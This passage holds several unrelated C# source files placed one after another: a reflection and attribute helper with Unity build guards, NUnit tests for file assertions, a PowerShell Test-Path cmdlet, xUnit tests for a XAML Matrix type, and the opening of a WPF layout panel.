GetTypeConverterType(type); if (converterType != null) return (TypeConverter)ReflectionUtils.CreateInstance(converterType); return null; #endif } #endif #if !((UNITY_WP8 || UNITY_WP_8_1) || (UNITY_WINRT && !UNITY_EDITOR)) private static Type GetAssociatedMetadataType(Type type) { return AssociatedMetadataTypesCache.Get(type); } private static Type GetAssociateMetadataTypeFromAttribute(Type type) { Type metadataTypeAttributeType = GetMetadataTypeAttributeType(); if (metadataTypeAttributeType == null) return null; object attribute = type.GetCustomAttributes(metadataTypeAttributeType, true).SingleOrDefault(); if (attribute == null) return null; #if (UNITY_IOS || UNITY_IPHONE || UNITY_ANDROID) IMetadataTypeAttribute metadataTypeAttribute = new LateBoundMetadataTypeAttribute(attribute); #else IMetadataTypeAttribute metadataTypeAttribute = (DynamicCodeGeneration) ? DynamicWrapper.CreateWrapper<IMetadataTypeAttribute>(attribute) : new LateBoundMetadataTypeAttribute(attribute); #endif return metadataTypeAttribute.MetadataClassType; } private static Type GetMetadataTypeAttributeType() { // always attempt to get the metadata type attribute type // the assembly may have been loaded since last time if (_cachedMetadataTypeAttributeType == null) { Type metadataTypeAttributeType = Type.GetType(MetadataTypeAttributeTypeName); if (metadataTypeAttributeType != null) _cachedMetadataTypeAttributeType = metadataTypeAttributeType; else return null; } return _cachedMetadataTypeAttributeType; } #endif private static T GetAttribute<T>(Type type) where T : System.Attribute { T attribute; #if !((UNITY_WP8 || UNITY_WP_8_1) || (UNITY_WINRT && !UNITY_EDITOR)) Type metadataType = GetAssociatedMetadataType(type); if (metadataType != null) { attribute = ReflectionUtils.GetAttribute<T>(metadataType, true); if (attribute != null) return attribute; } #endif attribute = ReflectionUtils.GetAttribute<T>(type, true); if (attribute != null) return attribute; foreach (Type typeInterface in type.GetInterfaces()) { attribute = ReflectionUtils.GetAttribute<T>(typeInterface, true); if (attribute != null) return attribute; } return null; } private static T GetAttribute<T>(MemberInfo memberInfo) where T : System.Attribute { T attribute; #if !((UNITY_WP8 || UNITY_WP_8_1) || (UNITY_WINRT && !UNITY_EDITOR)) Type metadataType = GetAssociatedMetadataType(memberInfo.DeclaringType); if (metadataType != null) { MemberInfo metadataTypeMemberInfo = ReflectionUtils.GetMemberInfoFromType(metadataType, memberInfo); if (metadataTypeMemberInfo != null) { attribute = ReflectionUtils.GetAttribute<T>(metadataTypeMemberInfo, true); if (attribute != null) return attribute; } } #endif attribute = ReflectionUtils.GetAttribute<T>(memberInfo, true); if (attribute != null) return attribute; foreach (Type typeInterface in memberInfo.DeclaringType.GetInterfaces()) { MemberInfo interfaceTypeMemberInfo = ReflectionUtils.GetMemberInfoFromType(typeInterface, memberInfo); if (interfaceTypeMemberInfo != null) { attribute = ReflectionUtils.GetAttribute<T>(interfaceTypeMemberInfo, true); if (attribute != null) return attribute; } } return null; } public static T GetAttribute<T>(ICustomAttributeProvider attributeProvider) where T : System.Attribute { Type type = attributeProvider as Type; if (type != null) return GetAttribute<T>(type); MemberInfo memberInfo = attributeProvider as MemberInfo; if (memberInfo != null) return GetAttribute<T>(memberInfo); return ReflectionUtils.GetAttribute<T>(attributeProvider, true); } private static bool? _dynamicCodeGeneration; public static bool DynamicCodeGeneration { get { if (_dynamicCodeGeneration == null) { #if !(UNITY_ANDROID || UNITY_WEBPLAYER || (UNITY_IOS || UNITY_IPHONE) || (UNITY_WP8 || UNITY_WP_8_1) || (UNITY_WINRT && !UNITY_EDITOR)) try { new ReflectionPermission(ReflectionPermissionFlag.MemberAccess).Demand(); new ReflectionPermission(ReflectionPermissionFlag.RestrictedMemberAccess).Demand(); #pragma warning disable 618 new SecurityPermission(SecurityPermissionFlag.SkipVerification).Demand(); new SecurityPermission(SecurityPermissionFlag.UnmanagedCode).Demand(); #pragma warning restore 108 new SecurityPermission(PermissionState.Unrestricted).Demand(); _dynamicCodeGeneration = true; } catch (Exception) { _dynamicCodeGeneration = false; } #else _dynamicCodeGeneration = false; #endif } return _dynamicCodeGeneration.Value; } } public static ReflectionDelegateFactory ReflectionDelegateFactory { get { #if !((UNITY_WP8 || UNITY_WP_8_1) || (UNITY_WINRT && !UNITY_EDITOR) || UNITY_IOS || UNITY_IPHONE || UNITY_ANDROID) if (DynamicCodeGeneration) return DynamicReflectionDelegateFactory.Instance; #endif return LateBoundReflectionDelegateFactory.Instance; } } } } #pragma warning restore 436 #endif
// *********************************************************************** // Copyright (c) 2006 Charlie Poole // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to // the following conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // *********************************************************************** #if !PORTABLE using System; using System.IO; using System.Reflection; using System.Net.Sockets; using NUnit.TestUtilities; namespace NUnit.Framework.Assertions { /// <summary> /// Summary description for FileAssertTests. /// </summary> [TestFixture] public class FileAssertTests { private readonly static string BAD_FILE = Path.Combine(Path.GetTempPath(), "garbage.txt"); #region AreEqual #region Success Tests [Test] public void AreEqualPassesWhenBothAreNull() { FileStream expected = null; FileStream actual = null; FileAssert.AreEqual(expected, actual); } [Test] public void AreEqualPassesWithSameStream() { Stream exampleStream = new MemoryStream(new byte[] { 1, 2, 3 }); Assert.That(exampleStream, Is.EqualTo(exampleStream)); } [Test] public void AreEqualPassesWithEqualStreams() { using (var tf1 = new TestFile("Test1.jpg", "TestImage1.jpg")) using (var tf2 = new TestFile("Test2.jpg", "TestImage1.jpg")) using (FileStream expected = tf1.File.OpenRead()) using (FileStream actual = tf2.File.OpenRead()) { FileAssert.AreEqual(expected, actual); } } [Test] public void NonReadableStreamGivesException() { using (var tf1 = new TestFile("Test1.jpg", "TestImage1.jpg")) using (var tf2 = new TestFile("Test2.jpg", "TestImage1.jpg")) using (FileStream expected = tf1.File.OpenRead()) using (FileStream actual = tf2.File.OpenWrite()) { var ex = Assert.Throws<ArgumentException>(() => FileAssert.AreEqual(expected, actual)); Assert.That(ex.Message, Does.Contain("not readable")); } } [Test] public void NonSeekableStreamGivesException() { using (var tf1 = new TestFile("Test1.jpg", "TestImage1.jpg")) using (FileStream expected = tf1.File.OpenRead()) using (var actual = new FakeStream()) { var ex = Assert.Throws<ArgumentException>(() => FileAssert.AreEqual(expected, actual)); Assert.That(ex.Message, Does.Contain("not seekable")); } } private class FakeStream : MemoryStream { public override bool CanSeek { get { return false; } } } [Test] public void AreEqualPassesWithFiles() { using (var tf1 = new TestFile("Test1.jpg", "TestImage1.jpg")) using (var tf2 = new TestFile("Test2.jpg", "TestImage1.jpg")) { FileAssert.AreEqual(tf1.File.FullName, tf2.File.FullName, "Failed using file names"); } } [Test] public void AreEqualPassesUsingSameFileTwice() { using (var tf1 = new TestFile("Test1.jpg", "TestImage1.jpg")) { FileAssert.AreEqual(tf1.File.FullName, tf1.File.FullName); } } [Test] public void AreEqualPassesWithFileInfos() { using (var expectedTestFile = new TestFile("Test1.jpg", "TestImage1.jpg")) using (var actualTestFile = new TestFile("Test2.jpg", "TestImage1.jpg")) { FileAssert.AreEqual(expectedTestFile.File, actualTestFile.File); } } [Test] public void AreEqualPassesWithTextFiles() { using (var tf1 = new TestFile("Test1.txt", "TestText1.txt")) using (var tf2 = new TestFile("Test2.txt", "TestText1.txt")) { FileAssert.AreEqual(tf1.File.FullName, tf2.File.FullName); } } #endregion #region Failure Tests [Test] public void AreEqualFailsWhenOneIsNull() { using (var tf1 = new TestFile("Test1.jpg", "TestImage1.jpg")) using (FileStream expected = tf1.File.OpenRead()) { var expectedMessage = " Expected: <System.IO.FileStream>" + Environment.NewLine + " But was: null" + Environment.NewLine; var ex = Assert.Throws<AssertionException>(() => FileAssert.AreEqual(expected, null)); Assert.That(ex.Message, Is.EqualTo(expectedMessage)); } } [Test] public void AreEqualFailsWithStreams() { string expectedFile = "Test1.jpg"; string actualFile = "Test2.jpg"; using (var tf1 = new TestFile(expectedFile, "TestImage1.jpg")) using (var tf2 = new TestFile(actualFile, "TestImage2.jpg")) using (FileStream expected = tf1.File.OpenRead()) using (FileStream actual = tf2.File.OpenRead()) { var expectedMessage = string.Format(" Expected Stream length {0} but was {1}." + Environment.NewLine, tf1.File.Length, tf2.File.Length); var ex = Assert.Throws<AssertionException>(() => FileAssert.AreEqual(expected, actual)); Assert.That(ex.Message, Is.EqualTo(expectedMessage)); } } [Test] public void AreEqualFailsWithFileInfos() { using (var expectedTestFile = new TestFile("Test1.jpg", "TestImage1.jpg")) using (var actualTestFile = new TestFile("Test2.jpg", "TestImage2.jpg")) { var expectedMessage = string.Format(" Expected Stream length {0} but was {1}." + Environment.NewLine, expectedTestFile.File.Length, actualTestFile.File.Length); var ex = Assert.Throws<AssertionException>(() => FileAssert.AreEqual(expectedTestFile.File, actualTestFile.File)); Assert.That(ex.Message, Is.EqualTo(expectedMessage)); } } [Test] public void AreEqualFailsWithFiles() { string expected = "Test1.jpg"; string actual = "Test2.jpg"; using (var expectedTestFile = new TestFile(expected, "TestImage1.jpg")) using (var actualTestFile = new TestFile(actual, "TestImage2.jpg")) { var expectedMessage = string.Format(" Expected Stream length {0} but was {1}." + Environment.NewLine, expectedTestFile.File.Length, actualTestFile.File.Length); var ex = Assert.Throws<AssertionException>(() => FileAssert.AreEqual(expectedTestFile.File.FullName, actualTestFile.File.FullName)); Assert.That(ex.Message, Is.EqualTo(expectedMessage)); } } [Test] public void AreEqualFailsWithTextFilesAfterReadingBothFiles() { using (var tf1 = new TestFile("Test1.txt", "TestText1.txt")) using (var tf2 = new TestFile("Test2.txt", "TestText2.txt")) { var expectedMessage = string.Format( " Stream lengths are both {0}. Streams differ at offset {1}." + Environment.NewLine, tf1.FileLength, tf1.OffsetOf('!')); var ex = Assert.Throws<AssertionException>(() => FileAssert.AreEqual(tf1.File.FullName, tf2.File.FullName)); Assert.That(ex.Message, Is.EqualTo(expectedMessage)); } } #endregion #endregion #region AreNotEqual #region Success Tests [Test] public void AreNotEqualPassesIfOneIsNull() { using (var tf1 = new TestFile("Test1.jpg", "TestImage1.jpg")) using (FileStream expected = tf1.File.OpenRead()) { FileAssert.AreNotEqual(expected, null); } } [Test] public void AreNotEqualPassesWithStreams() { using (var tf1 = new TestFile("Test1.jpg", "TestImage1.jpg")) using (var tf2 = new TestFile("Test2.jpg", "TestImage2.jpg")) using (FileStream expected = tf1.File.OpenRead()) { using (FileStream actual = tf2.File.OpenRead()) { FileAssert.AreNotEqual(expected, actual); } } } [Test] public void AreNotEqualPassesWithFiles() { using (var tf1 = new TestFile("Test1.jpg", "TestImage1.jpg")) using (var tf2 = new TestFile("Test2.jpg", "TestImage2.jpg")) { FileAssert.AreNotEqual(tf1.File.FullName, tf2.File.FullName); } } [Test] public void AreNotEqualPassesWithFileInfos() { using (var expectedTestFile = new TestFile("Test1.jpg", "TestImage1.jpg")) using (var actualTestFile = new TestFile("Test2.jpg", "TestImage2.jpg")) { FileAssert.AreNotEqual(expectedTestFile.File, actualTestFile.File); } } [Test] public void AreNotEqualIteratesOverTheEntireFile() { using (var tf1 = new TestFile("Test1.txt", "TestText1.txt")) using (var tf2 = new TestFile("Test2.txt", "TestText2.txt")) { FileAssert.AreNotEqual(tf1.File.FullName, tf2.File.FullName); } } #endregion #region Failure Tests [Test] public void AreNotEqualFailsWhenBothAreNull() { FileStream expected = null; FileStream actual = null; var expectedMessage = " Expected: not equal to null" + Environment.NewLine + " But was: null" + Environment.NewLine; var ex = Assert.Throws<AssertionException>(() => FileAssert.AreNotEqual(expected, actual)); Assert.That(ex.Message, Is.EqualTo(expectedMessage)); } [Test] public void AreNotEqualFailsWithStreams() { using (var tf1 = new TestFile("Test1.jpg", "TestImage1.jpg")) using (var tf2 = new TestFile("Test2.jpg", "TestImage1.jpg")) using (FileStream expected = tf1.File.OpenRead()) using (FileStream actual = tf2.File.OpenRead()) { var expectedMessage = " Expected: not equal to <System.IO.FileStream>" + Environment.NewLine + " But was: <System.IO.FileStream>" + Environment.NewLine; var ex = Assert.Throws<AssertionException>(() => FileAssert.AreNotEqual(expected, actual)); Assert.That(ex.Message, Is.EqualTo(expectedMessage)); } } [Test] public void AreNotEqualFailsWithFileInfos() { using (var expectedTestFile = new TestFile("Test1.jpg", "TestImage1.jpg")) using (var actualTestFile = new TestFile("Test2.jpg", "TestImage1.jpg")) { var expectedMessage = " Expected: not equal to <System.IO.FileStream>" + Environment.NewLine + " But was: <System.IO.FileStream>" + Environment.NewLine; var ex = Assert.Throws<AssertionException>(() => FileAssert.AreNotEqual(expectedTestFile.File, actualTestFile.File)); Assert.That(ex.Message, Is.EqualTo(expectedMessage)); } } [Test] public void AreNotEqualFailsWithFiles() { using (var tf1 = new TestFile("Test1.jpg", "TestImage1.jpg")) { var expectedMessage = " Expected: not equal to <System.IO.FileStream>" + Environment.NewLine + " But was: <System.IO.FileStream>" + Environment.NewLine; var ex = Assert.Throws<AssertionException>(() => FileAssert.AreNotEqual(tf1.File.FullName, tf1.File.FullName)); Assert.That(ex.Message, Is.EqualTo(expectedMessage)); } } [Test] public void AreNotEqualIteratesOverTheEntireFileAndFails() { using (var tf1 = new TestFile("Test1.txt", "TestText1.txt")) using (var tf2 = new TestFile("Test2.txt", "TestText1.txt")) { var expectedMessage = " Expected: not equal to <System.IO.FileStream>" + Environment.NewLine + " But was: <System.IO.FileStream>" + Environment.NewLine; var ex = Assert.Throws<AssertionException>(() => FileAssert.AreNotEqual(tf1.File.FullName, tf2.File.FullName)); Assert.That(ex.Message, Is.EqualTo(expectedMessage)); } } #endregion #endregion #region Exists [Test] public void ExistsPassesWhenFileInfoExists() { using (var actualTestFile = new TestFile("Test1.txt", "TestText1.txt")) { FileAssert.Exists(actualTestFile.File); } } [Test] public void ExistsPassesWhenStringExists() { using (var tf1 = new TestFile("Test1.txt", "TestText1.txt")) { FileAssert.Exists(tf1.File.FullName); } } [Test] public void ExistsFailsWhenFileInfoDoesNotExist() { var ex = Assert.Throws<AssertionException>(() => FileAssert.Exists(new FileInfo(BAD_FILE))); Assert.That(ex.Message, Does.StartWith(" Expected: file exists")); } [Test] public void ExistsFailsWhenStringDoesNotExist() { var ex = Assert.Throws<AssertionException>(() => FileAssert.Exists(BAD_FILE)); Assert.That(ex.Message, Does.StartWith(" Expected: file exists")); } [Test] public void ExistsFailsWhenFileInfoIsNull() { var ex = Assert.Throws<ArgumentNullException>(() => FileAssert.Exists((FileInfo)null)); Assert.That(ex.Message, Does.StartWith("The actual value must be a non-null string or FileInfo")); } [Test] public void ExistsFailsWhenStringIsNull() { var ex = Assert.Throws<ArgumentNullException>(() => FileAssert.Exists((string)null)); Assert.That(ex.Message, Does.StartWith("The actual value must be a non-null string or FileInfo")); } [Test] public void ExistsFailsWhenStringIsEmpty() { var ex = Assert.Throws<ArgumentException>(() => FileAssert.Exists(string.Empty)); Assert.That(ex.Message, Does.StartWith("The actual value cannot be an empty string")); } #endregion #region DoesNotExist [Test] public void DoesNotExistFailsWhenFileInfoExists() { using (var tf1 = new TestFile("Test1.txt", "TestText1.txt")) { var ex = Assert.Throws<AssertionException>(() => FileAssert.DoesNotExist(tf1.File)); Assert.That(ex.Message, Does.StartWith(" Expected: not file exists")); } } [Test] public void DoesNotExistFailsWhenStringExists() { using (var tf1 = new TestFile("Test1.txt", "TestText1.txt")) { var ex = Assert.Throws<AssertionException>(() => FileAssert.DoesNotExist(tf1.File.FullName)); Assert.That(ex.Message, Does.StartWith(" Expected: not file exists")); } } [Test] public void DoesNotExistPassesWhenFileInfoDoesNotExist() { FileAssert.DoesNotExist(new FileInfo(BAD_FILE)); } [Test] public void DoesNotExistPassesWhenStringDoesNotExist() { FileAssert.DoesNotExist(BAD_FILE); } [Test] public void DoesNotExistFailsWhenFileInfoIsNull() { var ex = Assert.Throws<ArgumentNullException>(() => FileAssert.DoesNotExist((FileInfo)null)); Assert.That(ex.Message, Does.StartWith("The actual value must be a non-null string or FileInfo")); } [Test] public void DoesNotExistFailsWhenStringIsNull() { var ex = Assert.Throws<ArgumentNullException>(() => FileAssert.DoesNotExist((string)null)); Assert.That(ex.Message, Does.StartWith("The actual value must be a non-null string or FileInfo")); } [Test] public void DoesNotExistFailsWhenStringIsEmpty() { var ex = Assert.Throws<ArgumentException>(() => FileAssert.DoesNotExist(string.Empty)); Assert.That(ex.Message, Does.StartWith("The actual value cannot be an empty string")); } [Test] public void EqualsFailsWhenUsed() { var ex = Assert.Throws<InvalidOperationException>(() => FileAssert.Equals(string.Empty, string.Empty)); Assert.That(ex.Message, Does.StartWith("FileAssert.Equals should not be used for Assertions")); } [Test] public void ReferenceEqualsFailsWhenUsed() { var ex = Assert.Throws<InvalidOperationException>(() => FileAssert.ReferenceEquals(string.Empty, string.Empty)); Assert.That(ex.Message, Does.StartWith("FileAssert.ReferenceEquals should not be used for Assertions")); } #endregion } } #endif
// Copyright (c) Microsoft Corporation. // Licensed under the MIT License. using System; using System.Management.Automation; namespace Microsoft.PowerShell.Commands { /// <summary> /// The valid values for the -PathType parameter for test-path. /// </summary> public enum TestPathType { /// <summary> /// If the item at the path exists, true will be returned. /// </summary> Any, /// <summary> /// If the item at the path exists and is a container, true will be returned. /// </summary> Container, /// <summary> /// If the item at the path exists and is not a container, true will be returned. /// </summary> Leaf } /// <summary> /// A command to determine if an item exists at a specified path. /// </summary> [Cmdlet(VerbsDiagnostic.Test, "Path", DefaultParameterSetName = "Path", SupportsTransactions = true, HelpUri = "https://go.microsoft.com/fwlink/?LinkID=2097057")] [OutputType(typeof(bool))] public class TestPathCommand : CoreCommandWithCredentialsBase { #region Parameters /// <summary> /// Gets or sets the path parameter to the command. /// </summary> [Parameter(Position = 0, ParameterSetName = "Path", Mandatory = true, ValueFromPipeline = true, ValueFromPipelineByPropertyName = true)] [AllowNull] [AllowEmptyCollection] [AllowEmptyString] public string[] Path { get { return _paths; } set { _paths = value; } } /// <summary> /// Gets or sets the literal path parameter to the command. /// </summary> [Parameter(ParameterSetName = "LiteralPath", Mandatory = true, ValueFromPipeline = false, ValueFromPipelineByPropertyName = true)] [Alias("PSPath", "LP")] [AllowNull] [AllowEmptyCollection] [AllowEmptyString] public string[] LiteralPath { get { return _paths; } set { base.SuppressWildcardExpansion = true; _paths = value; } } /// <summary> /// Gets or sets the filter property. /// </summary> [Parameter] public override string Filter { get { return base.Filter; } set { base.Filter = value; } } /// <summary> /// Gets or sets the include property. /// </summary> [Parameter] public override string[] Include { get { return base.Include; } set { base.Include = value; } } /// <summary> /// Gets or sets the exclude property. /// </summary> [Parameter] public override string[] Exclude { get { return base.Exclude; } set { base.Exclude = value; } } /// <summary> /// Gets or sets the isContainer property. /// </summary> [Parameter] [Alias("Type")] public TestPathType PathType { get; set; } = TestPathType.Any; /// <summary> /// Gets or sets the IsValid parameter. /// </summary> [Parameter] public SwitchParameter IsValid { get; set; } = new SwitchParameter(); /// <summary> /// A virtual method for retrieving the dynamic parameters for a cmdlet. Derived cmdlets /// that require dynamic parameters should override this method and return the /// dynamic parameter object. /// </summary> /// <param name="context"> /// The context under which the command is running. /// </param> /// <returns> /// An object representing the dynamic parameters for the cmdlet or null if there /// are none. /// </returns> internal override object GetDynamicParameters(CmdletProviderContext context) { object result = null; if (this.PathType == TestPathType.Any && !IsValid) { if (Path != null && Path.Length > 0 && Path[0] != null) { result = InvokeProvider.Item.ItemExistsDynamicParameters(Path[0], context); } else { result = InvokeProvider.Item.ItemExistsDynamicParameters(".", context); } } return result; } #endregion Parameters #region parameter data /// <summary> /// The path to the item to ping. /// </summary> private string[] _paths; #endregion parameter data #region Command code /// <summary> /// Determines if an item at the specified path exists. /// </summary> protected override void ProcessRecord() { if (_paths == null || _paths.Length == 0) { WriteError(new ErrorRecord( new ArgumentNullException(TestPathResources.PathIsNullOrEmptyCollection), "NullPathNotPermitted", ErrorCategory.InvalidArgument, Path)); return; } CmdletProviderContext currentContext = CmdletProviderContext; foreach (string path in _paths) { bool result = false; if (path == null) { WriteError(new ErrorRecord( new ArgumentNullException(TestPathResources.PathIsNullOrEmptyCollection), "NullPathNotPermitted", ErrorCategory.InvalidArgument, Path)); continue; } if (string.IsNullOrWhiteSpace(path)) { WriteObject(result); continue; } try { if (IsValid) { result = SessionState.Path.IsValid(path, currentContext); } else { if (this.PathType == TestPathType.Container) { result = InvokeProvider.Item.IsContainer(path, currentContext); } else if (this.PathType == TestPathType.Leaf) { result = InvokeProvider.Item.Exists(path, currentContext) && !InvokeProvider.Item.IsContainer(path, currentContext); } else { result = InvokeProvider.Item.Exists(path, currentContext); } } } // Any of the known exceptions means the path does not exist. catch (PSNotSupportedException) { } catch (DriveNotFoundException) { } catch (ProviderNotFoundException) { } catch (ItemNotFoundException) { } WriteObject(result); } } #endregion Command code } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System; using System.Collections.Generic; using System.Diagnostics; using System.Globalization; using Windows.Foundation; using Xunit; namespace Windows.UI.Xaml.Media.Tests { public class MatrixTests { [Fact] public void Ctor_Default() { var matrix = new Matrix(); Assert.Equal(0, matrix.M11); Assert.Equal(0, matrix.M12); Assert.Equal(0, matrix.M21); Assert.Equal(0, matrix.M22); Assert.Equal(0, matrix.OffsetX); Assert.Equal(0, matrix.OffsetY); Assert.False(matrix.IsIdentity); } [Theory] [InlineData(-1, -2, -3, -4, -5, -6, false)] [InlineData(0, 0, 0, 0, 0, 0, false)] [InlineData(1, 1, 1, 1, 1, 1, false)] [InlineData(1, 0, 0, 1, 0, 0, true)] [InlineData(double.NaN, double.NaN, double.NaN, double.NaN, double.NaN, double.NaN, false)] [InlineData(double.PositiveInfinity, double.PositiveInfinity, double.PositiveInfinity, double.PositiveInfinity, double.PositiveInfinity, double.PositiveInfinity, false)] [InlineData(double.NegativeInfinity, double.NegativeInfinity, double.NegativeInfinity, double.NegativeInfinity, double.NegativeInfinity, double.NegativeInfinity, false)] public void Ctor_Values(double m11, double m12, double m21, double m22, double offsetX, double offsetY, bool expectedIsIdentity) { var matrix = new Matrix(m11, m12, m21, m22, offsetX, offsetY); Assert.Equal(m11, matrix.M11); Assert.Equal(m12, matrix.M12); Assert.Equal(m21, matrix.M21); Assert.Equal(m22, matrix.M22); Assert.Equal(offsetX, matrix.OffsetX); Assert.Equal(offsetY, matrix.OffsetY); Assert.Equal(expectedIsIdentity, matrix.IsIdentity); } [Fact] public void Identity_Get_ReturnsExpected() { Matrix matrix = Matrix.Identity; Assert.Equal(1, matrix.M11); Assert.Equal(0, matrix.M12); Assert.Equal(0, matrix.M21); Assert.Equal(1, matrix.M22); Assert.Equal(0, matrix.OffsetX); Assert.Equal(0, matrix.OffsetY); Assert.True(matrix.IsIdentity); } public static IEnumerable<object[]> Values_TestData() { yield return new object[] { -1 }; yield return new object[] { 0 }; yield return new object[] { 1 }; yield return new object[] { float.NaN }; yield return new object[] { float.PositiveInfinity }; yield return new object[] { float.NegativeInfinity }; } [Theory] [MemberData(nameof(Values_TestData))] public void M11_Set_GetReturnsExpected(double value) { var matrix = new Matrix { M11 = value }; Assert.Equal(value, matrix.M11); } [Theory] [MemberData(nameof(Values_TestData))] public void M12_Set_GetReturnsExpected(double value) { var matrix = new Matrix { M12 = value }; Assert.Equal(value, matrix.M12); } [Theory] [MemberData(nameof(Values_TestData))] public void M21_Set_GetReturnsExpected(double value) { var matrix = new Matrix { M21 = value }; Assert.Equal(value, matrix.M21); } [Theory] [MemberData(nameof(Values_TestData))] public void M22_Set_GetReturnsExpected(double value) { var matrix = new Matrix { M22 = value }; Assert.Equal(value, matrix.M22); } [Theory] [MemberData(nameof(Values_TestData))] public void OffsetX_Set_GetReturnsExpected(double value) { var matrix = new Matrix { OffsetX = value }; Assert.Equal(value, matrix.OffsetX); } [Theory] [MemberData(nameof(Values_TestData))] public void OffsetY_Set_GetReturnsExpected(double value) { var matrix = new Matrix { OffsetY = value }; Assert.Equal(value, matrix.OffsetY); } [Fact] public void Transform_Identity_ReturnsPoint() { Point transformedPoint = Matrix.Identity.Transform(new Point(1, 2)); Assert.Equal(new Point(1, 2), transformedPoint); } [Fact] public void Transform_Point_ReturnsExpected() { var matrix = new Matrix(1, 2, 3, 4, 5, 6); var point = new Point(1, 2); Point transformedPoint = matrix.Transform(point); Assert.Equal(new Point(12, 16), transformedPoint); } public static IEnumerable<object[]> Equals_TestData() { yield return new object[] { new Matrix(1, 2, 3, 4, 5, 6), new Matrix(1, 2, 3, 4, 5, 6), true }; yield return new object[] { new Matrix(1, 2, 3, 4, 5, 6), new Matrix(2, 2, 3, 4, 5, 6), false }; yield return new object[] { new Matrix(1, 2, 3, 4, 5, 6), new Matrix(1, 3, 3, 4, 5, 6), false }; yield return new object[] { new Matrix(1, 2, 3, 4, 5, 6), new Matrix(1, 2, 4, 4, 5, 6), false }; yield return new object[] { new Matrix(1, 2, 3, 4, 5, 6), new Matrix(1, 2, 3, 5, 5, 6), false }; yield return new object[] { new Matrix(1, 2, 3, 4, 5, 6), new Matrix(1, 2, 3, 4, 6, 6), false }; yield return new object[] { new Matrix(1, 2, 3, 4, 5, 6), new Matrix(1, 2, 3, 4, 5, 7), false }; yield return new object[] { Matrix.Identity, Matrix.Identity, true }; yield return new object[] { Matrix.Identity, new Matrix(1, 0, 0, 1, 0, 0), true }; yield return new object[] { Matrix.Identity, new Matrix(1, 0, 0, 0, 0, 0), false }; yield return new object[] { new Matrix(1, 2, 3, 4, 5, 6), new object(), false }; yield return new object[] { new Matrix(1, 2, 3, 4, 5, 6), null, false }; } [Theory] [MemberData(nameof(Equals_TestData))] public void Equals_Object_ReturnsExpected(Matrix matrix, object other, bool expected) { Assert.Equal(expected, matrix.Equals(other)); if (other is Matrix otherMatrix) { Assert.Equal(expected, matrix.Equals(otherMatrix)); Assert.Equal(expected, matrix == otherMatrix); Assert.Equal(!expected, matrix != otherMatrix); Assert.Equal(expected, matrix.GetHashCode().Equals(otherMatrix.GetHashCode())); } } public static IEnumerable<object[]> ToString_TestData() { string cultureSeparator = CultureInfo.CurrentCulture.NumberFormat.NumberDecimalSeparator; char decimalSeparator = cultureSeparator.Length > 0 && cultureSeparator[0] == ',' ? ';' : ','; yield return new object[] { Matrix.Identity, null, null, "Identity" }; yield return new object[] { Matrix.Identity, "InvalidFormat", CultureInfo.CurrentCulture, "Identity" }; yield return new object[] { new Matrix(1, 2, 3, 4, 5, 6), null, null, $"1{decimalSeparator}2{decimalSeparator}3{decimalSeparator}4{decimalSeparator}5{decimalSeparator}6" }; var culture = new CultureInfo("en-US"); culture.NumberFormat.NumberDecimalSeparator = "|"; yield return new object[] { new Matrix(2.2, 2.2, 2.2, 2.2, 2.2, 2.2), "abc", culture, "abc,abc,abc,abc,abc,abc" }; yield return new object[] { new Matrix(2.2, 2.2, 2.2, 2.2, 2.2, 2.2), "N4", culture, "2|2000,2|2000,2|2000,2|2000,2|2000,2|2000" }; yield return new object[] { new Matrix(2.2, 2.2, 2.2, 2.2, 2.2, 2.2), null, culture, "2|2,2|2,2|2,2|2,2|2,2|2" }; var commaCulture = new CultureInfo("en-US"); commaCulture.NumberFormat.NumberDecimalSeparator = ","; yield return new object[] { new Matrix(2.2, 2.2, 2.2, 2.2, 2.2, 2.2), null, commaCulture, "2,2;2,2;2,2;2,2;2,2;2,2" }; yield return new object[] { new Matrix(2.2, 2.2, 2.2, 2.2, 2.2, 2.2), null, null, $"{2.2.ToString()}{decimalSeparator}{2.2.ToString()}{decimalSeparator}{2.2.ToString()}{decimalSeparator}{2.2.ToString()}{decimalSeparator}{2.2.ToString()}{decimalSeparator}{2.2.ToString()}" }; } [Theory] [MemberData(nameof(ToString_TestData))] public void ToString_Invoke_ReturnsExpected(Matrix matrix, string format, IFormatProvider formatProvider, string expected) { if (format == null) { if (formatProvider == null) { Assert.Equal(expected, matrix.ToString()); } Assert.Equal(expected, matrix.ToString(formatProvider)); } Assert.Equal(expected, ((IFormattable)matrix).ToString(format, formatProvider)); } } }
//#if TOPORT using Microsoft.Extensions.Logging; using System; using System.Windows; using System.Windows.Controls; using System.Windows.Media; namespace LionFire.Avalon { public class ZapPanel : Panel { public ZapPanel() { LayoutUpdated += new EventHandler(ZapPanel_LayoutUpdated); //Background = new SolidColorBrush(Color.FromArgb(0x75, 0xff, 0x20,0x20)); } protected override Geometry GetLayoutClip(Size layoutSlotSize) { return null; } private static readonly ILogger l = Log.Get(); protected override Size MeasureOverride(Size availableSize) { //if the parent isn't a FrameworkElement, then measure all the children to infinity //and return a size that would result if all of them were as big as the biggest //otherwise, measure all at the size of the parent and return the size accordingly Size max = new Size(); HorizontalAlignment ha = this.HorizontalAlignment; VerticalAlignment va = this.VerticalAlignment; UIElement child; for (int i = 0; i < this.InternalChildren.Count; i++) { child = this.InternalChildren[i]; try { child.Measure(availableSize); } catch (Exception ex) { l.Error("Child measure threw exception: " + ex); } max.Width = Math.Max(max.Width, child.DesiredSize.Width); max.Height = Math.Max(max.Height, child.DesiredSize.Height); FrameworkElement fe = child as FrameworkElement; if (fe != null) { if (fe.HorizontalAlignment == System.Windows.HorizontalAlignment.Stretch) { 